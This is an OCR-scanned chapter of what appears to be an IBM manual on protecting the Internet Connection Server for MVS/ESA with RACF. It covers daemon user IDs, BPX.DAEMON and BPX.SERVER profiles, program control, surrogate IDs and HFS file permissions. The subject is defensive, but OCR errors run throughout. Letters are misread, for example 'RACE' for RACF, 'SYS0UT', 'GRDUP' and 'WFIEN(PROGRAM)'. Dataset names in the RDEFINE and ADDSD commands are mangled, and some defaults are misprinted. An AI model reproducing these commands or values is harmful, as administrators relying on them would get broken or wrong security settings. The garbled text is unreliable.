//WEBSRV EXEC PGM=IMWHTTPD,REGION=OK,TIME=NOLIMIT,PARM=' POSIX(ON), 

// STACK(32K,32K,ANY,FREE),TRAP(OFF)/-vv -nodns 

// -h 9.12.14.20r 

//STEPLIB DD DSN=IMW.V1R1M0.SIMWM0D1.FIX1,DISP=SHR 
//SYSIN DD DUMMY 

//*UTDSC OUTPUT DEST=WTSCPOK.HOPKING 
//OUTDSC OUTPUT DEST=LOCAL 
//SYSPRINT DD SYS0UT=*,0UTPUT=(*.OUTDSC) 

//SYSERR DD SYS0UT=*,0UTPUT=(*.OUTDSC) 

//STDOUT DD SYS0UT=*,0UTPUT=(*.OUTDSC) 

//STDERR DD SYS0UT=*,0UTPUT=(*.OUTDSC) 

//SYSOUT DD SYS0UT=*,0UTPUT=(*.OUTDSC) 

//CEEDUMP DD SYS0UT=*,0UTPUT=(*.OUTDSC) 

A user iD needs to be assigned to this server. The OS/390 Internet 
BonusPak assumes that you are using a user ID WEBSRV. For the 
IMWEBSRV cataloged procedure to obtain control with the desired user 
identity, you must add an entry to the RACF started procedure table. This 
can be done through a entry in the module ICHRIN03 or through an entry in 
the RACF STARTED class. 

The following entry defines the user ID and group ID that the IMWEBSRV 
address space will be assigned: 


DC 

CL8' IMWEBSRV' 

PRDCEDURE NAME 

DC 

CL8'WEBSRV' 

USERID (ANY RACE-DEFINED USER ID) 

DC 

CL8' IMWEB' ' 

GRDUP NAME DR BLANKS FDR USER' S DEFAULT GRDUP 

DC 

XLI'OO' 

NDT TRUSTED 

DC 

XL7'00' 

RESERVED 


Or you can use the following RACF command to define a profile in the 
STARTED class: 

RDEFINE STARTED IMWEBSRV.* 

STDATA(USER(WEBSRV) GRDUP(IMWEB) PRIVILEGED(ND) TRUSTED(ND) TRACE(ND)) 

After entering S IMWEBSRV on the MVS console, the following messages 
appear telling you that the user ID and group ID are assigned: 

$HASP1DD IMWEBSRV DN STCINRDR 

IEF695I START IMWEBSRV WITH JDBNAME IMWEBSRV IS ASSIGNED TD USER WEBSRV 
, GRDUP IMWEB 
$HASP373 IMWEBSRV STARTED 

Before you start the Internet Connection Server for MVS/ESA, you must 
setup a user ID WEBSRV. This user ID must have UID of 0 so that it always 
runs with superuser authority. The Internet Connection Server for MVS/ESA 
always changes to either a surrogate user ID or the client's local MVS user 
ID prior to accessing the requested resource. 

In order to authorize the Web server to exploit this identity change facility, 
you should permit WEBSERV for the BPX.DAEMON and BPX.SERVER profiles 
in the FACILITY class. 

PERMIT BPX.DAEMDN CLASS(FACILITY) ID(WEBSRV) ACCESS(READ) 

PERMIT BPX.SERVER CLASS(FACILITY) ID(WEBSRV) ACCESS(UPDATE) 

• Put the command in /etc/rc to start the daemon automatically during 
OpenEdition MVS initialization. 
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The following explanation uses the inet daemon (inetd) as an example of a 
daemon. For other daemons, similar steps are required. 

inetd listens for socket connections, inetd is typically started from /etc/rc, as 
shown in the following example. 

BPX_JOBNAME='INETD' /usr/sbin/init /etc/inetd.conf & 

In this example, the _BPX_JOBNAME environment variable is set to assign a 
job name of INETD to the inet daemon. This allows the MVS operator to 
have better control over managing the inet daemon. 

When started from /etc/rc, stdin and stdout are set to /dev/null and stderr is 
set to /etc/log for recording any errors. If the inetd precess fails, you could 
stop and restart OMVS, but this would be very disruptive to the users. 

• Another method is with a cataloged procedure using BPXBATCH to invoke a 
daemon program located in the OpenEdition MVS HFS. 

For an example of coding the INETD cataloged procedure, see the following 
example: 

//INETD PRDC 

//INETD EXEC PGM=BPXBATCH,REGIDN=3DM,TIME=NDLIMIT, 

// PARM='PGM /usr/sbin/inetd /etc/inetd.conf' 

//* STDIN and STDDUT are both defaulted to /dev/null 

//STDERR DD PATH='/etc/1og', PATHDPTS=(DWRDNLY,DCREAT,DAPPEND), 

// PATHMDDE=(SIRUSR,SIWUSR,SIRGRP,SIWGRP) 

INETD requires superuser and daemon authority. 

The JCL in the INETD PROG invokes BPXBATCH, which sets up the standard 
file descriptors and environment variables before running /usr/sbin/inetd. At 
this point, the inetd daemon is restarted. 


5.5 Identity Change by Daemons 

RACF provides several services to allow authorized users to change the UID and 
GID for the current process. OpenEdition MVS recognizes the following 
appearance of a UID and GID as the UID and GID for the current process: 

real UID 

At process creation, it identifies the user who created the process. 

effective UID 

Each process also has an effective user ID. Normally this value is the 
same as the real user ID. It is possible, however, for a program to have a 
special flag set that means when this program is executed, change the 
effective user ID of the process to be the user ID of the owner of this file. A 
program with this special flag is said to be a set-user-ID program. This 
feature provides additional permissions to users while the set-user-ID 
program is being executed. 

The effective UID is used to determine owner access privileges of a 
process. 

saved UID 

Used to save the effective UID of a process. When an OpenEdition MVS 
user tries to change the UID, the save_UID is checked to see if the UID is 
the original one. 
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real GID 

At process creation, it identifies the group of the user who created the 
process. 

effective GID 

Each process also has an effective group ID. Normally this value Is the 
same as the real greup ID. A program can, however, have a special flag 
set that means when this program Is executed, change the effective group 
ID of the process to be the group ID of the ewner of this file. A program 
with this special flag Is said to be a set-group-ID program. Like the 
set-user-ID feature, this provides additional permissions to users while the 
set-greup-ID program Is being executed. 

The effective GID Is used to determine group access privileges of a 
process. 

saved GID 

Used to save the effective GID ef a precess. When an OpenEditlon MVS 
user tries to change the GID, the save_GID is checked to see if the GID is 
the original one. 

If you like te define your system for a high level of security, you need to 
customize the system for the IBM-supplied daemons. Only specific users should 
be authorized to execute the setuid er seteuid() service. This can be controlled 
by using profiles In the RACE FACILITY class. 

Since It Is possible to control the change identity facility by checking RACE 
prefiles In the FACILITY class, you have to make sure that the lead module 
(daemen) that Is called Is performing the checks for these profiles. It should not 
be possible to load any “fake” daemen program that gets contrel, for example, 
when a user is perferming a r_login to the OS/390 OpenEdition system. This 
“fake” daemon does not perform a check to see if this user is authorized to 
execute a setuid() service, giving him the opportunity to change his OS/390 
OpenEdition UID into the UID of the security administrator. That will give this 
user full authorization to the resources the administrator can access. 

5.5.1 Controlling the Identity Change 

The identity change facility can be centrolled through profiles In the RACE 
FACILITY class. Only specific users should be authorized te use this facility. 

The following steps are required to establish the security fcr this facility. 

Define a FACILITY class profile to permit users (known as daemons) to query or 
modify the MVS security environment of a process. Enter the follewing 
command to define this profile: 

RDEFINE FACILITY BPX.DAEMON UACC(NONE) 

Note: You must use the name BPX.DAEMON In this command. Substitutions for 
the name are net allowed. 

If this is the first FACILITY class profile that the Installation has defined, activate 
the FACILITY class with the SETROPTS cemmand. Enter the fellowing 
commands to activate this class. 

SETROPTS CLASSACT(FACILITY) GENERIC(FACILITY) AUDIT(FACILITY) 

SETROPTS RACLIST(FACILITY) 
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Most daemons inherit their identity from the kernel address space. Enter the 
following command to authorize the user ID of the kernel address space (for 
example, OMVSKERN) for the daemon FACILITY class profile. 

PERMIT BPX.DAEMON CLASS(FACILITY) ID(OMVSKERN) ACCESS(READ) 

If you choose to have the Internet Connection Server for MVS/ESA daemon run 
with a user ID other than OMVSKERN (for example, WEBSRV), perform the 
following command to permit user ID WEBSRV to the BPX.DAEMON FACILITY 
class profile: 

PERMIT BPX.DAEMON CLASS(FACILITY) ID(WEBSRV) ACCESS(READ) 


5.6 Preventing Modifications to Your Load Moduie 

In order to ensure that a known and trusted load module is executed when the 
Internet Connection Server for MVS/ESA is started, RACF program control must 
be activated. 

You protect individual load modules (programs) by creating a profile for the 
program in the PROGRAM general resource class. A program protected by a 
profile In the PROGRAM class is called a controlled program. 

The name of the profile can be complete. In which case the profile protects only 
one program, or the name of the profile can end with an asterisk (*), in which 
case the profile can protect more than one program. For example, a profile 
named ABC* protects all programs that begin with ABC, unless a more specific 
profile exists. 

5.6.1 Protecting Your Program Libraries 

In MVS, programs reside in program libraries. A program library is a partitioned 
data set whose members are load modules. Program libraries can be for public 
use (those in LNKLIST) or for limited private use. To set up program control, you 
must protect the library from which the program is loaded. 

The profile for a controlled program must also Include the name of the program 
library that contains the program, and the volume serial number of the volume 
containing the program library. The profile can also contain a standard access 
list of users and groups and their associated access authorities. 

Access control to load modules does not: 

• Control the execution of CLISTs, REXX EXECs, or JCL procedures. 

• Protect programs from in-memory copying or dumping. 

• Control programs or commands that are In the LPA. 

• Provide any protection within a multiple-user address space (such as 
CICS/ESA). If one user loads a program, another user in the same address 
space can also execute the program. 

• Control programs that are executed In any way that bypasses MVS contents 
supervision (for example, some program Invocations by IMS, or programs 
that reside In OpenEditlon MVS files). In these cases. Installations should 
use program control to control any programs that provide facilities for 
bypassing MVS contents supervision. 

Program libraries can be for public use or for limited private use. An installation 
designates a set of libraries as public by placing the libraries in the LNKLIST 


Chapter 5. Protecting Your Internet Connection Server for MVS/ESA 59 




concatenation (which is SYS1.LINKLIB and any program libraries concatenated 
to SYS1.LINKLIB through the use of the LNKLSTxx member of SYS1 .PARMLIB). 

A private load library is a partitioned data set that contains load modules and is 
not in the LNKLIST. To prevent an unauthorized user from copying a program, 
renaming it to a name that is unknown to program control, and then executing 
the renamed program, you should protect any program library that contains 
RACF-controlled programs with data set profiles that have a UACC of NONE. 

For public libraries (those in LNKLIST), use ADDSD to define a data set profile 
that covers the library. The universal access (UACC) for this data set profile can 
be NONE. Users can still use the controlled programs and any other program in 
those libraries because the system OPENs the LNKLIST libraries during IPL and 
makes the programs public. Users are prevented from opening these libraries 
and copying the modules in them. 

5.6.2 Activating Program Controi 

All programs in an execute-controlled library must be controlled programs. This 
means that you must define all programs (which are members of the program 
library) by defining discrete or generic profiles for them in the PROGRAM class. 
You can then specify universal access authority (UACC) and access lists for the 
PROGRAM profiles to control which programs in the program library can be run 
by which users. For example, you might specify a PROGRAM profile named 
ABC* to protect all programs that begin with ABC. 

Although RACF allows programs that are not controlled programs to reside in an 
execute-controlled library, you may get results that you do not expect and it may 
be difficult to determine why. This is because when you load a program from an 
execute-controlled library, RACF tries to preserve the integrity of the program 
execution environment, as shown by the following example. 

When a user who has EXECUTE permission to a library tries to load a program 
from that library, RACF checks to make sure that the environment is “clean” 

(that is, that only controlled programs have previously been loaded). If the 
controlled program calls an uncontrolled program, the uncontrolled program is 
loaded, but RACF notes that the environment is now “dirty” (that is, that an 
uncontrolled program has been loaded). If the uncontrolled program in turn calls 
a controlled program from the execute-controlled library, the controlled program 
is not loaded, because the environment is no longer clean. 

Other sequences are possible, and the outcomes depend on the sequence of 
calls. Therefore, for best results, control all programs that reside in an 
execute-controlled library. 

The WFIEN(PROGRAM) operand on the SETROPTS command activates and 
deactivates program control. (Note that you need not activate the PROGRAM 
class to have program control active.) When program control is active, RACF 
builds, during RACF initialization, an in-storage profile table composed of the 
entries in the PROGRAM class (controlled programs). The table entries describe 
the programs and who can access them. To refresh this table, issue SETROPTS 
WHEN(PROGRAM) REFRESH. 

When program control is active, the contents supervision component of MVS 
invokes RACF, by issuing a RACROUTE REQUEST=FASTAUTH macro, before 


60 MVS Web Server: Security 



processing each request to load a module. If the user Is not authorized to 
execute the program, the system issues abend 306 and ends the request. 

The IBM installation logic installs inetd, rlogind, cron, and Im so that they 
reside In the HFS, /usr/sbin, and In SYS1 .LINKLIB. 

When a program, like the Internet Connection Server for MVS/ESA, that needs 
daemon authority is loaded In an address space, the environment must be 
controlled. This means that no uncontrolled programs are loaded Into this 
address space. Loading an uncontrolled program causes the “dirty” bit to be 
set. 

To activate program control and to identify programs as controlled, use the 
following RACE commands: 

• To activate program control 
SETROPTS WHEN(PROGRAM) 

• To prevent a user from modifying programs. 

ADDSD 'CEE.V1R5M0.SCEERUN' UACC(READ) 

ADDSD ' IMW.VlRlMO.IMWMOOr UACC(READ) 

ADDSD 'SYSl.LINKLIB' UACC(READ) 

• To mark the C run-time library as a controlled library. (Every user on the 
system can execute programs from the C runtime library.) 

RDEFINE PROGRAM * ADDMEM('CEE.VIR5M0.SCEERUN'/voZser/NOPADCHK) 

UACC(READ) 

• To mark the load library that contains the Internet Connection Server for 
MVS/ESA load module (daemon) as controlled. 

RDEFINE PROGRAM * ADDMEM('IMW.VIRIMO'/ voZser/NOPADCHK) UACC(READ) 

• To mark the SYS1.LINKLIB as a controlled library. 

RDEFINE PROGRAM * ADDMEM('SYSI.LINKLIB'/ voZser/NOPADCHK) UACC(READ) 

• To put the new PROGRAM profile Into storage. 

SETROPTS WHEN(PROGRAM) REFRESH 

With the ADDMEM operand of the RDEFINE command, you can also specify 
PADCHK or NOPADCHK. PADCHK (the default) means that RACF checks for 
program-accessed data sets that are already open before executing the 
program. NOPADCHK means that RACF does not perform the 
program-accessed data checks for the program. 

The “Sticky Bit” for the daemon module In the HFS needs to be set to enforce 
OS/390 OpenEditlon to use the standard MVS program search while calling this 
program. This prevents OS/390 OpenEdItion from loading the daemon module 
from a HFS file. (Programs executed from OS/390 OpenEditlon files bypass MVS 
contents supervision.) 
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5.7 Using Surrogate User IDs 

The Internet Connection Server for MVS/ESA needs to be able to process 
requests for non-public type of information from users who do not have reguiar 
user IDs on the MVS system running this Web server. The identity change 
faciiity, as described in 5.5, “identity Change by Daemons” on page 57 cannot 
be used in this case. Instead, the Internet Connection Server for MVS/ESA uses 
surrogate OpenEdition MVS user IDs to access resources for these requests. 

Different security controis piay in concert to estabiish this surrogate support. 
These controis are: 

• RACE surrogate support that is controlied by: 

- Activating the surrogate ciass 

- User IDs and group IDs for the surrogate users 

- Profiles in the RACE SURROGATE class 

- Authorization for the profiles in the SURROGATE class 

• Surrogate support in the Web server daemon that is controlled by: 

- Profiles in the RACE EACILITY class 

- Authorization for the profiles in the EACILITY class 

• Access control configuration directives that are stored in the configuration 
file. Refer to Chapter 3, “Protecting the Pages on Your Internet Connection 
Server for MVS/ESA” on page 31 for a detailed description of the various 
configuration directives. 

Surrogate support should be enabled for users who have access to specific 
documents or to a group of documents that should not be available for 
unidentified users. Although these users do not have a regular user ID on the 
system where this Web server is running, you still can set up the server to check 
the user IDs and passwords for these users in the RACE database. Surrogate 
support helps in this case, simplifying the security management of your MVS 
system since you do not need to maintain the access control for these user IDs. 
Access control is based on the surrogate user ID they are authorized to use. 

5.7.1 RACF Surrogate Support 

A surrogate user is a RACE-defined user who has been authorized to submit 
jobs on behalf of another user (the execution user) without specifying the 
execution user's password. Jobs or tasks that are submitted or started by the 
surrogate user run with the identify of the execution user. Eor example, if user 
PETER submits a job with the following JOB statement, PETER is the surrogate 
user and TOM is the execution user: 

//jobname J05 ' accounting information' ,\iSER=J0^ 

All access checks are done with TOM's user ID. Any auditing records produced 
by RACE because of the surrogate job's actions include the information that the 
job is a surrogate job (unless the PASSWORD parameter is specified on the JOB 
statement). 

A user should not allow another user to act as surrogate user unless the 
surrogate user can be trusted as much as the execution user is trusted. This is 
because the surrogate user can do anything the execution user can do. Eor 
example, the surrogate user can submit a job to copy, alter, or delete the 
execution user's data. 
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5.7.2 Surrogate Support by Daemons 

OS/390 OpenEdition has two fundamental types of application servers; 
multithreaded and single threaded applications. 

A multithreaded application has multiple sequential flows of control. In this 
family of applications, more than one unit of work at a time is processed by the 
server application. The Internet Connection Server for MVS/ESA is a 
multithreaded application. 

A single threaded application has one sequential flow of control. In this family of 
applications, one unit of work is processed at a time by the application server. 

OS/390 OpenEdition provides support that enables not-APF authorized 
multithreaded applications do not run in supervisor state or in a system storage 
protection key to create and delete a RACE security context. Creating or 
deleting an ACEE is mediated and controlled by the OpenEdition MVS kernel and 
RACE. This support is provided by an S/390 Assembler callable service and 
through the C run-time library. 

This service enables multithreaded applications to customize the security 
environment of a thread, meaning that the thread may execute under a different 
RACE identity than the server. 

Consider your Internet Connection Server for MVS/ESA which accepts requests 
through the Internet. This server initiates a thread that processes the client's 
request. If the server customizes the thread initiated for the client with the 
client's RACE identity, any resource access decisions to MVS RACE protected 
resources are made using the client's RACF identity and authorizations. 

Depending on the trust you place in the application, you have the option of 
enforcing both the application server's RACF identity (the RACF user ID that Is 
assigned to the Web Server daemon) and the RACF identity of the client to be 
used in resource access control decisions on OS/390. 

The use of this facility is partially protected through a RACF class profile 
BPX.SERVER. When the profile BPX.SERVER Is defined, there are potentially two 
authorization checks: 

• The first check, authorizes the use of the pthread_security_np service. 

• The second check authorizes who the server can establish a security context 
for. This check can be viewed as establishing the scope of users that the 
server can act as a SURROGATE of. 

The BPX.SERVER profile also allows you to scope the OS/390 resources that the 
server can access when acting as a surrogate for Its clients. There are two 
levels of authority that can be granted to the server using thread level security 
services. 

UPDATE access 

Allows the server to establish a thread level (task-level) security 
environment for clients connecting to the server. When the RACF identity 
of the application server has been granted UPDATE authority to 
BPX.SERVER in the RACF FACILITY class, the server is capable of acting 
as a SURROGATE of the client. This means that the identity of the thread 
associated with the request from the server's client executes with the MVS 
user ID of the server's client. Access control decisions to MVS resources 
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(such as datasets) and to MVS OpenEdition resources (such as HFS files) 
which are accessed by the client's thread in the server are rendered using 
the RACE identity of the client. 

READ access 

Allows the server to establish a thread-level security environment for the 
clients that it services. However, the user ID of the server and the user ID 
of the client must be authorized to the resources which the server will be 
accessing. 

A thread level security context in which both the client's and server's 
identity is used in the access control decision and a password (or 
PassTicket) was not supplied by the client is called an unauthenticated 
client security context. 

Depending on the design and implementation of the client/server 
application, a client may have to supply an authenticator to the server. For 
example, the client may be prompted to supply a password or a password 
substitute, such as a RACE PassTicket to the server to prove it's identity. If 
a RACF password or PassTicket is specified as a parameter on the 
pthread_security_np service, and the password or PassTicket is valid for the 
client user ID, then even if the server's identity has been grated READ 
access to the profile BPX.SERVER in the RACF FACILITY class, then the 
task level security envirenment is only used in access centrol decisions. 
That is, only the RACF user ID of the client is used in rendering access 
control decisions. This task level security environment created by an 
application server is called an authenticated client security context. 

Since the client has trusted the application server sufficiently to supply a 
RACF password (or PassTicket) te the server, then server is granted the 
capability ef acting as a surrogate for that client (user). 


5.7.3 Set Up Surrogate User IDs 

You probably want to establish several surrogate user IDs with OpenEdition MVS 
access authority appropriate for a group of users or class of requests. Fellowing 
are a few examples: 


WEBADM 


PUBLIC 


INTERNAL 


You must allow WEBSRV to use WEBADM as a surrogate 
user ID if yeu want to use the Web server's remete 
configuration application with the supplied sample 
configuration file. 

A user ID with very limited access that you use te handle 
the requests from unknown users on the public network. 
You might allow these users to view a few information 
pages about your company and products. You would not 
allow these users to store data on your system or execute 
more than a few well-controlled CGI programs. 

A user ID with moderate access that yeu use to handle 
requests from anyone on your internal corporate network. 
You might allow these users to view company 
announcements and standards and perhaps provide a 
bulletin board application for posting items of general 
interest. 
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PRIVATE 


A user ID with access to a set of restricted information. 

You might require these users to know a Web 
administered user ID and password or even to have a valid 
user ID and password on this system. After validating 
their user ID and password, you would then access the 
data under the surrogate user ID PRIVATE. 

%%CLIENT%% This is not really a user ID. Instead, it tells the Internet 
Connection Server for MVS/ESA to require that the 
requestor have a local MVS user ID and password. The 
requestor's user ID is used to access the data. 

The following steps are needed to establish surrogate support for daemons: 

1. Activate the surrogate class support in RACE. 

2. Add the user IDs (and group IDs) for the surrogate users. 

3. Define the profiles for the surrogate users in the surrogate class. 

4. Permit the user ID that is assigned to the daemon for the profiles in the 
surrogate class. 

5. Refresh the RACLISTed surrogate profiles. 

Refer to 5.12, “Step-by-Step Procedure to Implement the RACE Security” on 
page 71 for a detailed overview of the RACE commands that are needed to 
establish this surrogate environment. 


5.8 UNIX Security and Files 

In UNIX systems, general information about each file is stored with the files in 
the file system. Included with this general information (such as, the file size and 
last modification date) is the security information for each file: 

• The file's owner (as represented by a UID) 

• The file's group (as represented by a GID) 

• The file's mode bits or file permissions bits 

All UNIX files have three types of permissions; read, write and execute 
(displayed as r, w and x respectively). These permissions are stored with each 
file as file permission bits that are split into three groups: 

• The file owner 

• The file owners group 

• All other users 


The permission bits are set in the same way for each level of access using a 
simple binary 10-bit code. 


tuuugggooo 


OTHER permissions 
GROUP permissions 
OWNER or user permissions 
Type of file 
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The type of file can be: 

- regular file 
c character special file 
d directory 
I symbolic link 
p FIFO special file 

The first group of three characters describes the owner permission, the second 
describes group permission, and the third describes other (or sometimes called 
world) permissions. 

5.8.1 Hierarchical File System 

The hierarchical file system (NFS) is the implementation of a UNIX-style file 
system on MVS/ESA. This HFS conforms to the POSIX 1003.1 standard. This file 
system is in addition to the traditional MVS data set and is built in a extended 
PDSE data set. 

A HFS file is found by searching through the directory. A file is named by 
specifying the name of each directory in the path of the file plus the file name 
itself. 

A fully-qualified filename is made up of the directory names in the path plus the 
filename, such as /dira/dirb/dirc/mydata. Note that the forward slash is used as 
the delimiter between directory and file names. 

HFS files are byte-oriented. The file system has no concept of a record. 

However, the application can define the structure. 

For convenience, a user generally specifies a current (working) directory so that 
the entire pathname does not have to be specified. 

As in a normal UNIX environment, OpenEdition MVS file names are 
case-sensitive. For example, a file named MYDATA is not the same as mydata 
which is not the same file as MyData. 

5.8.2 File Security Packet 

The security rules for the files and directories in a HFS are stored within the file 
system itself in the file security packet (FSP). HFS files and directories are 
protected by permission bit information, which is kept within the FSP. 

File access permission bits determine the type of access a user has to a file or 
directory. The bits are set for three classes of users: 

• Owner class: Any process with an effective UID that matches the UID of the 
file. 

• Group class: Any process with an effective GID or supplemental GID that 
matches the GID of the file. 

• Other class: Any process that is not in the owner or group class. 

The permission bits are split into three groups of three characters. The first 
group of three characters describes the owner permissions; the second 
describes group permissions; the third describes other permissions. 
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Superuser Owner or Owner or Auditor 

Superuser Superuser 


Figure 15. File Security Packet 

Characters that can be used in fixed positions in each of the groups of three 
charaoters are: 


Table 1. File Access Types and Permission Bits 

Pos. 

Char. 

Access 

Type 

Permission for Fiie 

Permission for Directory 

1 

■ 

Read 

Permission to read or 
print the contents. 

Permission to read, but 
not search, the contents. 

2 

w 

Write 

Permission to change, 
add to, or delete from the 
contents. 

Permission to change, 
add, or delete directory 
entries. 

3 

X 

Execute or 

Search 

Permission to run the file. 
This permission is used 
for executable files. 

Permission to search the 
directory. 

any 

- 

no access 




Permission bits are usually presented in a 3-digit octal number, where the first 
digit describes owner permissions, the second digit desoribes group 
permissions, and the third digit describes permissions for all others. 

For each type of access, owner, group, and other, there is a corresponding octal 
number: 

0 No acoess (--) 

1 Execute-only access (-x) 

2 Write-only access (-w-) 

3 Write and execute (-wx) 

4 Read-only aooess (r--) 

5 Read and execute access (r-x) 

6 Read and write access (rw-) 

7 Read, write, and execute access (rwx) 


Chapter 5. Protecting Your Internet Connection Server for MVS/ESA 67 
































Some typical 3-digit permissions are specified in octal in this way: 


666 

Owner (rw-) 

group(rw-) 

other(rw-) 

700 

Owner (rwx) 

group(—) 

other(--) 

755 

Owner (rwx) 

group(r-x) 

other(r-x) 

777 

Owner (rwx) 

group(rwx) 

other(rwx) 


5.9 Display Permissions 

The OpenEdition shell commands Is -1 and Is -W enable the user to display the 
permission bits and the audit options for a specified file or directory. 

The typical format of an OpenEdition shell command is: 

Command name - Options - Pathname 

Is lists files and directories. If the pathname is a file, Is displays information 
about the file according to the requested options. If it is a directory, Is displays 
information about the files and subdirectories therein. You can get information 
on a directory itself using the -d option. 

Note: Be aware of using capital and small letters in OpenEdition shell 
commands since they are case-sensitive; capital letters do not always mean the 
same thing as small letters. 

Here is a sample output from a Is -1 command along with an explanation, 
drwxr-x-x 3 OMVSKERN SYSl 0 Jun 6 14:49 tmp 

The permission bits appear as 10 characters (drwxr-x-x). 

d Identifies the type of a file or directory; in this case a directory is 
displayed. 

rwx Any process with a UID that matches the UID of the directory has read, 
write and search authority for this directory. 

r-x Any process with a GID that matches the GID of the directory has read, 
and search authority for this directory. 

-X Any other process has search authority for this directory. 

After the permissions are set, Is displays the following about this directory: 

3 The number of links to the file 

OMVSKERN The name of the owner of the directory (or file) 

SYS1 The name of the group that owns the directory (or file) 

0 The size of the file, expressed in bytes (in case a file is displayed) 

Jun 6 14:49 The date when the directory was created (or for a file, the date the 

file was last changed) 

tmp The name of the directory (or file) 

If the specified pathname is a directory, like in the previous example, Is displays 
information on every file in that directory (one file per line). 
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A sample output might look like: 


drwxr-x--x 
drwxrwxrwx 
-rwxr--r-- 
-rwxrw- 


3 OMVSKERN SYSl 0 Jun 6 14:49 tmp 
2 PETER PETERl 4 Jun 7 09:12 usr 
1 PETER PETERl 124 Jun 7 10:24 bin 
1 PETER PETERl 572 Jun 7 16:32 abc 


Option -W enables the audits bits to be displayed. This option turns on the -1 
option. These bits are printed in a 6-character field directly after the field 
displaying the file permission bits. These six characters are really two groups of 
three bits each. The first group of three describes the user-requested audit 
information. The seoond group of three describes the auditor-requested audit 
information. Eaoh three characters displayed are the read, write, and execute 
(or search) audit options. Each character indicates the audit option as: 

s Audit suooessful access attempts 

f Audit failed access attempts 

a Audit all accesses 

no audit 


A sample output might look like: 

drwxr-x--x fff— 3 OMVSKERN 

SYSl 

0 

Jun 

6 

14:49 tmp 

drwxrwxrwx 

fff— 

2 

PETER 

PETERl 

4 

Jun 

7 

09:12 usr 

-rwxr--r-- 

fff— 

1 

PETER 

PETERl 

124 

Jun 

7 

10:24 bin 

-rwxrw- 

fff— 

1 

PETER 

PETERl 

572 

Jun 

7 

16:32 abc 


5.10 Default Permissions 

The system assigns default access permissions for files and directories at 
creation time. The setting depends on the type of oommand or facility that is 
used and on the type of file or directory that is created. 

The following table shows some default permissions set by the system: 


Table 2. Default Permissions Set by the System 

Task 

Using 

Default Permissions 

Create directory 

shell cmd mkdi r 

In octal form: 111 

Create directory 

TSO/E MKDIR 

In octal form: 755 

Create file 

OEDIT command 

In octal form: 700 

Create file 

ed editor 

In octal form: 666 

Create file 

cp command 

Set the output file 
permission to the input 
file permissions. 


For more information on the default permissions settings, refer to MVS/ESA 
OpenEdition MVS User's Guide. 

When a file is oreated, it is assigned initial access permissions by the system. If 
a user wants to oontrol the permissions that a program can set when it creates a 
file or directory, he can set a file mode creation mask, using the umask shell 
command. 
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A user can set this file mode creation mask for one shell session by entering the 
umask command interactively, or he can make the umask command part of his 
login. 

When the user sets the mask, he is setting limits on allowable permissions: he is 
implicitly specifying which permissions are not to be set, even though the calling 
program may allow those permissions. When a file or directory is created, the 
permissions set by the program are adjusted by the unmask value. The final 
permissions set are the program's permissions minus what the umask values 
restrict. To use the umask command for a single session, enter: 

umask mode 

and specify the mode in either of the formats used by the chmod: symbolic (rwx) 
or octal values. 

The symbolic form expresses what can be set and what is allowed, while octal 
values express what cannot be set and what is disallowed. For example, both of 
the following commands set the same umask: 

umask a=rx 
umask 222 

The modes are explained as follows: 

a = rx Explanation (symbolic form expresses what is allowed) 

a Set all permissions, this include the owner, group, and others 

= Turn on the specific permissions and turn off all others 

rx Read and execute permissions 

222 Explanation (octal values express what is disallowed) 

2 Write-only access for the owner 

2 Write-only access for the group 

2 Write-only access for others 

Both modes indicate that the owner, group, and others have read and execute 
permission. 


5.11 Accessing OpenEdition Files and Directories 

OpenEdition is the MVS implementation of UNIX. It consists of a UNIX shell and 
an ISPF interface to it called ISFIELL. 

To access the ISFIELL you can enter the abbreviation ish, from the Command 
panel (option 6) in ISPF, or enter tso ishell from the ISPF command line. You 
can enter the normal OpenEdition shell by entering omvs from the Command 
panel or tso omvs from the ISPF command line. 

The ISFIELL interface is a useful way of navigating through the OpenEdition 
hierarchical file system (FIFS) to locate and edit files. By default the Internet 
Connection Server for MVS/ESA is installed in /usr/lpp/internet/ServerRoot and 
the OS/390 Internet BonusPak is installed in the subdirectory /BonusPak. See 
OS/390 Internet BonusPak Getting Started for full details of the installation. 

For more information on OpenEdition MVS see: 
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MVS/ESA OpenEdition MVS Command Reference 

MVS/ESA SP 5.2.2 OpenEdition MVS Instaliation and Customization Starter 
Kit 


5.12 Step-by-Step Procedure to Implement the RACF Security 

This topic describes a detaiied step-by-step procedure to impiement RACF 
security for the internet Connection Server for MVS/ESA. 

Verify the configuration file and check the definitions of various user iDs that are 
used in the basic server security. For exampie, verify the foiiowing: 

The WEBADM user iD that is defined in step 1 

The surrogate user iDs that are defined in step 9 on page 74 


Create a user iD and group iD to configure and administer the internet 
Connection Server for MVS/ESA. 

You may use any names; however, this book and the sampie fiies shipped 
with this OS/390 internet BonusPak assume you have chosen iMWEB for 
the group iD and WEBADM for the user iD. 

The group iD GiD can have any vaiue. Members of this group shouid have 
read/write/execute access to aii of the fiies that controi the internet 
Connection Server for MVS/ESA. 

The foiiowing is an exampie of how you might want to define iMWEB and 
WEBADM using RACF commands: 

ADDGROUP IMWEB SUBGROUP(sivpgroivp) 0MVS(GID(205)) 

ADDUSER WEBADM DFLTGRP( IMWEB) NAME ('WEB server admin') 

PASSWORD (password) 

0MVS(UID(206) HOME('/usr/lpp/internet') PROGRAM('/bin/sh')) 

Notes: 

a. Do not set up a TSO segment for this user iD; it shouid not be possibie 
to use this user iD as a TSO user. 

b. Assign a password for this user iD. if you omit PASSWORD, RACF 
takes the group name from the DFLTGRP operand as the defauit 
password. The password can be changed by a job as depicted beiow. 

//jobname J05 ' accounting information' ,\iSER=\iE5kM, 

II PASSWORD(oZd _passwordlnewpassword) 

//STEPl EXEC PGM=IEFBR14 
//SYSPRINT DO SYS0UT=* 

Assign access permission for the configuration and administration task. 

To use remote configuration, the user iD WEBADM must have read 
permission to the PidFiie, read/write permission to the configuration fiie 
(defauit: /etc/httpd.conf) and execute permission to the wwwcmd program. 


Set up a user iD for the daemon. 

This user iD executes the internet Connection Server for MVS/ESA and 
vaiidates incoming requests. You can use any name; however, this book 
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and the sample files that are shipped with this OS/390 Internet BonusPak 
assume you have chosen WEBSRV. 

This user ID must have UID of 0 so that it always runs with superuser 
authority. The Internet Connection Server for MVS/ESA always changes to 
either a surrogate user ID or the client's local MVS user ID prior to 
accessing the requested resource. 

Define WEBSRV using the following RACE command: 

ADDUSER WEBSRV DFLTGRP(IMWEB) NAME ('WEB daemon user id') 

PASSWORD (password) 

0MVS(UID(0) HOME('/usr/lpp/internet') PROGRAM('/bin/sh')) 

Notes: 

a. Do not set up a TSO segment for this user ID; it should not be possible 
to use this user ID as a TSO user. 

b. Assign a password for this user ID. If you omit PASSWORD, RACE 
